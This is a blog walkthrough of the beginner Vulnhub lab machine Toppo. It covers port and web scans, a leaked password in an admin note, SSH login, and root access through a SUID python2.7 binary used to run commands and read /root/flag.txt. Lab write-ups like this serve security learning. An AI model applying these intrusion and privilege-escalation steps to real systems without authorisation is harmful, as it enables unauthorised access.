Toppo is the second machine I decided to play with from Vulnhub. The level advertised is beginner and the machine really is meant for newcomers. For a beginner like me it took about 30 minutes to own this, so if you are looking for some challenges, go somewhere else. It is a boo2root machine, so no flags to collect, just root to get.

The network setup looked like this:


Now, the first thing, was a nmap scan.

root@kali:~# nmap -sV -sS
Starting Nmap 7.70 ( "" ) at 2018-11-29 21:42 EET
Nmap scan report for Toppo.home (
Host is up (0.000061s latency).
Not shown: 997 closed ports
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
MAC Address: 02:D4:EF:1D:F1:9B (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

I saw that the machine had SSH port exposed and port 80, so I checked the website running and I also run a Nikto scan.

root@kali:~# nikto -h
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port: 80
+ Start Time: 2018-11-29 21:43:37 (GMT2)
+ Server: Apache/2.4.10 (Debian)
+ Server leaks inodes via ETags, header found with file /, fields: 0x1925 0x563f5cf714e80 
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.10 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ OSVDB-3268: /admin/: Directory indexing found.
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ OSVDB-3268: /mail/: Directory indexing found.
+ OSVDB-3092: /mail/: This might be interesting...
+ OSVDB-3092: /manual/: Web server manual found.
+ OSVDB-3268: /manual/images/: Directory indexing found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ 7535 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time: 2018-11-29 21:43:50 (GMT2) (13 seconds)
+ 1 host(s) tested

The website was a clean showcase site, no obvious fields and such, but clearly the /admin directory reported by Nikto got my attention.

I checked it out and found

curl ""
Note to myself :

I need to change my password :/ 12345ted123 is too outdated but the technology isn't my thing i prefer go fishing or watching soccer .

It is a password for something, I assumed for SSH. I tried bruteforcing SSH with common users, but then I just read the password more carefully. “ted”. I try

root@kali:~# ssh ted@

Boom. I am in.

Now I start the usual enumeration stuff (following the golden

While looking around I found:

ted@Toppo:/var/www/html$ find / -perm -g=s -type f 2>/dev/null
ted@Toppo:/var/www/html$ ls -l /usr/bin/python2.7
-rwsrwxrwx 1 root root 3889608 Aug 13 2016 /usr/bin/python2.7

Python with SETUID bit set? I would say this is trivial, since it’s owned by root.

ted@Toppo:/var/www/html$ /usr/bin/python2.7 
Python 2.7.9 (default, Aug 13 2016, 16:41:35) 
[GCC 4.9.2] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system("whoami")

Basically at this point whatever I run through python will run as root. I can probably spawn a full root shell, but it is not necessary for this.

>>> os.system("ls -l /root")
total 4
-rw-r--r-- 1 root root 397 Apr 15 2018 flag.txt
>>> os.system("cat /root/flag.txt")
| _ _ | 
|_/ | | \_|.--. _ .--. _ .--. .--. 
 | | / .'`\ \[ '/'`\ \[ '/'`\ \/ .'`\ \ 
 _| |_ | \__. | | \__/ | | \__/ || \__. | 
 |_____| '.__.' | ;.__/ | ;.__/ '.__.' 
 [__| [__|

Congratulations ! there is your flag : 0wnedlab{p4ssi0n_c0me_with_pract1ce}

Lessons learned

  • Look closer at the hints you have before bruteforcing.
  • Enumerate SETUID and SETGID early for beginner machines since this is a usual privilege escalation path.

For any correction, feedback or question feel free to drop a mail to security[at]coolbyte[dot]eu.